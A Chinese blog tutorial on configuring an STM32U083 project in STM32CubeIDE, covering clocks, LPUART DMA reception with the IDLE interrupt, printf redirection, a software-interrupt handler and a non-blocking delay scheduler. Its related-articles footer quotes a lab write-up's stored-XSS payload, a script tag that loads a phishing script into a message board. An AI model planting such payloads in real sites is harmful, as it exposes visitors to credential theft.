STM32Cube系列教程10:STM32CubeIDE工程创建+串口DMA+IDLE+printf重定向+软中断处理串口数据+非阻塞延时任务

文章目录

  • 工程配置
    • 配置时钟
    • 配置Debug接口
    • 配置串口外设
    • 配置时钟树
    • 生成代码
  • 配置串口
    • 重定向printf
    • 配置串口,开启IDLE,开启软中断
  • 配置非阻塞延时任务调度函数
    • 编写任务调度函数
    • 延时任务创建
  • 编译,下载与测试
    • 编译
    • 下载
    • 测试

前两天收到了ST社区的NUCLEO-U083RC的评估板,这颗芯片中内置了硬件AES与RNG模块,准备对这两个模块做个测试,今天先配置个工程模板,主要开启串口收发,printf重定向,利用DMA与IDLE中断自动接收不定长的串口数据,在接收完毕后利用软中断触发中断处理串口数据,在编写一个简易的非阻塞延时功能。

全部代码以上传到github:https://github.com/what-sudo/stm32U083

工程配置

配置时钟

打开STM32CubeIDE环境,创建一个新项目,选择对应的芯片,打开STM32CubeMX代码生成工具。
打开System Core -> RCC,分别配置外部高速时钟与外部低速时钟源为晶体振荡器
在这里插入图片描述

打开System Core -> SYS,配置系统时基为SysTick。

vi

配置Debug接口

打开Trace and Debug -> Debug配置选项,选中Serial Wire。打开SWD功能。这里如果不打开,后期将无法使用swd功能烧写程序。
在这里插入图片描述

配置串口外设

打开Connectivity -> LPUART1配置选项,模式设置为异步串行接口,下面波特率设置为115200,检查右侧显示的串口管脚是否与硬件匹配,如果不匹配可重定向到别的管脚。

在这里插入图片描述
配置串口DMA通道
在这里插入图片描述
使能串口中断源
在这里插入图片描述

配置时钟树

为了获取更好的性能,这里选择使用外部时钟,注意设置外部晶体的频率,系统时钟源选择PLLCLK,HCLK时钟配置为48MHz。
在这里插入图片描述

生成代码

点击上方的Project manager,打开Code Generator,选中仅复制使用的库文件,生成单独的.c与.h文件。
在这里插入图片描述
设置完成后,Ctrl + S保存,将自动弹窗提示生成代码,或手动点击上方的小齿轮图标生成代码
在这里插入图片描述

配置串口

重定向printf

打开Core\Src\usart.c文件,在文件前部加入重定向printf的代码。

#ifdef __GNUC__
#define PUTCHAR_PROTOTYPE int __io_putchar(int ch)
#define GETCHAR_PROTOTYPE int __io_getchar(FILE *f)
#else
#define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f)
#define GETCHAR_PROTOTYPE int fgetc(FILE *f)
#endif /* __GNUC__ */
PUTCHAR_PROTOTYPE
{
  HAL_UART_Transmit(&hlpuart1, (uint8_t *)&ch, 1, 0xFFFF);
  return ch;
}
GETCHAR_PROTOTYPE
{
  uint8_t ch = 0;
  HAL_UART_Receive(&hlpuart1, (uint8_t *)&ch, 1, 0xFFFF);
  if (ch == '\r')
  {
    __io_putchar('\r');
    ch = '\n';
  }
  return __io_putchar(ch);
}

在这里插入图片描述

配置串口,开启IDLE,开启软中断

打开usart.c文件,在文件中定义串口接收buffer,编写串口IDLE中断处理函数,串口DMA发送函数,串口接收数据处理函数,软中断处理函数。

volatile uint8_t rx1_len = 0;  //Received data length
volatile uint8_t rec1_end_flag = 0; //Received data over flag
uint8_t rx1_buffer[BUFFER_SIZE]={0};  //Received data buffer

// IDLE中断处理
void Usart1_IDLE(void)
{
  uint32_t tmp_flag = 0;
  uint32_t temp;

  tmp_flag = __HAL_UART_GET_FLAG(&hlpuart1, UART_FLAG_IDLE);
  if ((tmp_flag != RESET))
  {
    __HAL_UART_CLEAR_IDLEFLAG(&hlpuart1);
    HAL_UART_DMAStop(&hlpuart1);
    temp = __HAL_DMA_GET_COUNTER(&hdma_lpuart1_rx);
    rx1_len = BUFFER_SIZE - temp;
    rec1_end_flag = 1;
    EXTI->SWIER1 |= 1 << 0;
  }
}
// 串口发送
int DMA_Usart1_Send(uint8_t *buf, uint8_t len)
{
  if (len == 0)
    return 0;
  HAL_StatusTypeDef sta = HAL_UART_Transmit_DMA(&hlpuart1, buf, len);
  if (sta != HAL_OK)
    return -1;
  return 0;
}
// 串口数据处理
void Usart1_Handle()
{
  if (rec1_end_flag) {
    DMA_Usart1_Send(rx1_buffer, rx1_len);
    rx1_len = 0;
    rec1_end_flag = 0;
    HAL_UART_Receive_DMA(&hlpuart1, rx1_buffer, BUFFER_SIZE);
  }
}
// 软中断处理
void EXTI0_1_IRQHandler(void)
{
  if (EXTI->RPR1 & 1 << 0)
  {
    EXTI->RPR1 |= 1 << 0;
    Usart1_Handle();
  }
}

打开stm32u0xx_it.c文件,找到void USART3_LPUART1_IRQHandler(void)函数,在函数体前部其中加入Usart1_IDLE函数调用。修改如下

/**
  * @brief This function handles USART3 (combined with EXTI 24) + LPUART1 global interrupt (combined with EXTI lines 28).
  */
void USART3_LPUART1_IRQHandler(void)
{
  /* USER CODE BEGIN USART3_LPUART1_IRQn 0 */
  Usart1_IDLE();
  /* USER CODE END USART3_LPUART1_IRQn 0 */
  HAL_UART_IRQHandler(&hlpuart1);
  /* USER CODE BEGIN USART3_LPUART1_IRQn 1 */

  /* USER CODE END USART3_LPUART1_IRQn 1 */
}

打开main.c文件,在main()函数中,加入初始化软中断,开启IDLE中断,开启串口DMA接收的代码

  EXTI->IMR1 |= 1<<0;
  HAL_NVIC_SetPriority(EXTI0_1_IRQn, 3, 0);
  HAL_NVIC_EnableIRQ(EXTI0_1_IRQn);

  __HAL_UART_ENABLE_IT(&hlpuart1, UART_IT_IDLE);
  HAL_UART_Receive_DMA(&hlpuart1,rx1_buffer,BUFFER_SIZE);

在这里插入图片描述

配置非阻塞延时任务调度函数

编写任务调度函数

打开main.c文件,在user code的位置,定义task_scheduling函数。

/* Private user code ---------------------------------------------------------*/
/* USER CODE BEGIN 0 */
uint8_t task_scheduling(uint32_t *task, uint32_t time)
{
  uint32_t sys_ms_timer = HAL_GetTick();
  if ((sys_ms_timer > *task) && ((sys_ms_timer - *task) > time))
  {
    *task = sys_ms_timer;
    return 1;
  }
  else if (*task > sys_ms_timer)
  {
    if (((0xffffffff - *task) + sys_ms_timer) > time)
    {
      *task = sys_ms_timer;
      return 1;
    }
  }
  return 0;
}

/* USER CODE END 0 */

延时任务创建

在主循环中,添加一个led灯闪烁的任务,每隔1000ms执行一次。

  /* Infinite loop */
  /* USER CODE BEGIN WHILE */
  while (1)
  {
    if (task_scheduling(&task1, 1000))
    {
      HAL_GPIO_TogglePin(LED_GPIO_Port, LED_Pin);
    }

    /* USER CODE END WHILE */

    /* USER CODE BEGIN 3 */
  }
  /* USER CODE END 3 */

编译,下载与测试

编译

代码编写完成后,点击工具栏的build按钮
在这里插入图片描述

下载

等待控制台完成编译后,控制台输出程序的空间占用,点击工具栏的下载按钮,等待完成下载。
在这里插入图片描述

测试

程序下载完成后,可以看到led灯每隔1s闪烁一下。
打开串口调试工具,发送数据,单片机将接收到的数据返回。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/650637.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

最后7天,高考翻盘秘籍等你开启!

高考&#xff0c;这场关乎未来的考试&#xff0c;对于每一个学生来说都是一次严峻的挑战。随着倒计时的进行&#xff0c;无数考生和家长的焦虑和期待达到了顶点。在这个最后7天的关键时期&#xff0c;我们为即将参加高考的学生及其家长提供一份复习秘籍&#xff0c;帮助你们抓住…

【CSP CCF记录】201912-1 报数

题目 代码 首先判断是否为7的倍数&#xff0c;其次判断各位数是否有7 #include<bits/stdc.h> using namespace std; int n; int main() {cin>>n;int num[4]{0};for(int i1;i<n;i){int j(i-1)%4;if(i%70){num[j];n;continue;} int tempi;while(temp/10>0||t…

Word整理论文参考文献

1.安装Zotero软件 2.安装Zotero的Chrome网站插件&#xff0c;并将插件固定到浏览器 3.安装Word的Zotero插件 4.在DBLP网站https://dblp.org/search 搜索需要添加的参考文献->点击BibTex->点击网页右上角的Zotero符号&#xff08;即第二步所指的符号&#xff09;->至…

2023idea没有VCS首次提交代码到Git

1、setting 2、vcs------>create git repository 3、右键项目----->Git------>add 4、右键项目------>git------>commit Directory 之后就会显示这个页面(下面写你提交的信息&#xff0c;就是你修改了什么) 点击commit,提交 5、Git--------->push 6、选择…

华为实训课笔记 2024

华为实训 5/205/215/225/235/27 5/20 5/21 5/22 5/23 5/27

如果任务过多,队列积压怎么处理?

如果任务过多,队列积压怎么处理? 1、内存队列满了应该怎么办2、问题要治本——发短信导致吞吐量降低的问题不能忽略!!3、多路复用IO模型的核心组件简介1、内存队列满了应该怎么办 如图: 大家可以看到,虽然现在发短信和广告投递,彼此之间的执行效率不受彼此影响,但是请…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

Qt自定义标题栏

效果如下&#xff1a; 代码如下&#xff1a; // widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr…

国内AI大模型的下半场-「百模大战免费篇」上线,让我们直接梦回十年前

| 我们正在经历第九次「烧钱」大战。 这个故事&#xff0c;大概要从2024年5月6号&#xff0c;一个叫DeepSeek-V2的模型开始说起。 那一天&#xff0c;DeepSeek宣布开源他们的第二代MoE大模型——DeepSeek-V2。根据披露的信息显示&#xff0c;该模型在性能上比肩GPT-4 Turbo。刚…

在Bash中解析命令行参数的两种样例脚本

文章目录 问题回答以空格分隔选项和参数以等号分隔选项和参数 参考 问题 假设&#xff0c;我有一个脚本&#xff0c;它会被这样一行调用: ./myscript -vfd ./foo/bar/someFile -o /fizz/someOtherFile或者这个&#xff1a; ./myscript -v -f -d -o /fizz/someOtherFile ./fo…

YOLOv8+PyQt5面部表情检测系统完整资源集合(yolov8模型,从图像、视频和摄像头三种路径识别检测,包含登陆页面、注册页面和检测页面)

1.资源包含可视化的面部表情检测系统&#xff0c;基于最新的YOLOv8训练的面部表情检测模型&#xff0c;和基于PyQt5制作的可视化面部表情检测系统&#xff0c;包含登陆页面、注册页面和检测页面&#xff0c;该系统可自动检测和识别图片或视频当中出现的八类面部表情&#xff1a…

【UE5.1 角色练习】08-物体抬升、抛出技能

前言 在上一篇&#xff08;【UE5.1 角色练习】08-传送技能&#xff09;的基础上继续实现控制物体抬升、抛出的功能。 效果 步骤 一、准备技能动画 1. 在项目设置中新建一个操作映射&#xff0c;这里命名为“Skill_GravityControl”&#xff0c;用按键4触发 2. 通过IK重定向…

利用ArcGIS Python批量拼接遥感影像(arcpy batch processing)

本篇文章将说明如何利用ArcGIS 10.1自带的Python IDLE进行遥感影像的批量拼接与裁剪。 1.运行环境&#xff1a;ArcGIS10.1 (安装传送门)、Python IDLE 2.数据来源&#xff1a;地理空间数据云 GDEMV2 30M分辨率数字高程数据 3.解决问题&#xff1a;制作山西省的DEM影像 如下…

2024甘肃省三支一扶报名流程详细图解

预计报名时间&#xff1a;2024年5月27日9:00至5月31日18&#xff1a;00 2024甘肃省三支一扶报名流程 登录甘肃人力人力资源考试中心&#xff0c;选择网上报名 进入账户登录&#xff0c;首次登录同学请先注册账号。 注册账号&#xff0c;认真填写&#xff0c;仔细核对信息。…

three.js官方案例webgl_loader_fbx.html学习

目录 1.1 添加库引入 1.2 添加必要的组件scene,camera,webrenderer等 1.3 模型加载 1.4 半球光 1.5 动画 1.6 换个自己的fbx模型 1.7 fbx模型和fbx动画关联 1.7 html脚本全部如下 1.8 fbx.js全部脚本如下 1.1 添加库引入 import * as THREE from three; import Stats …

算法简单笔记2

5月26号&#xff0c;之前学了两天算法烦了&#xff0c;去学了几天鸿蒙&#xff0c;今天又回来看一下算法&#xff0c;距离6月1日国赛还有6天&#xff0c;哈哈真是等死咯...... 一、蓝桥杯第13届国赛第1题填空题&#xff1a;重合次数 &#xff08;半难不难&#xff0c;写编程难…

张大哥笔记:赚钱高手养成计划---如何将一份时间产生N份收入?

我们常说的赚钱的四种境界有哪些&#xff1f; 1.靠体力挣钱 2.靠技能挣钱 3.靠知识挣钱 4.靠平台钱生钱 所以对应的收入的模式就会是下面4种模式&#xff1a; 1.一份时间卖1次 2.一份时间卖N次 3.一份时间溢价卖N次 4.购买他人时间为自己所用 时间对于每个人都是相同的…

vs code怎么补全路径,怎么快捷输入文件路径

安装插件&#xff1a; 链接&#xff1a;https://marketplace.visualstudio.com/items?itemNamejakob101.RelativePath 使用 按住 Ctrl Shift H&#xff0c;弹出窗口&#xff0c;输入文件补全&#xff0c;回车就可以了 排除文件 如果你的项目下文件太多&#xff0c;它会…

Java单元测试

单元测试一 一、单选题 1 public class Test{public static void main(String[] args){int i1;switch(i){case 0:System.out.println("1"(i));case 1:System.out.println("2"(i));break;case 2:System.out.println("3"(i));default…

【程序员如何送外卖】

嘿&#xff0c;咱程序员要在美团送外卖&#xff0c;那还真有一番说道呢。 先说说优势哈&#xff0c;咱程序员那逻辑思维可不是盖的&#xff0c;规划送餐路线什么的&#xff0c;简直小菜一碟。就像敲代码找最优解一样&#xff0c;能迅速算出怎么送最省时间最有效率。而且咱平时…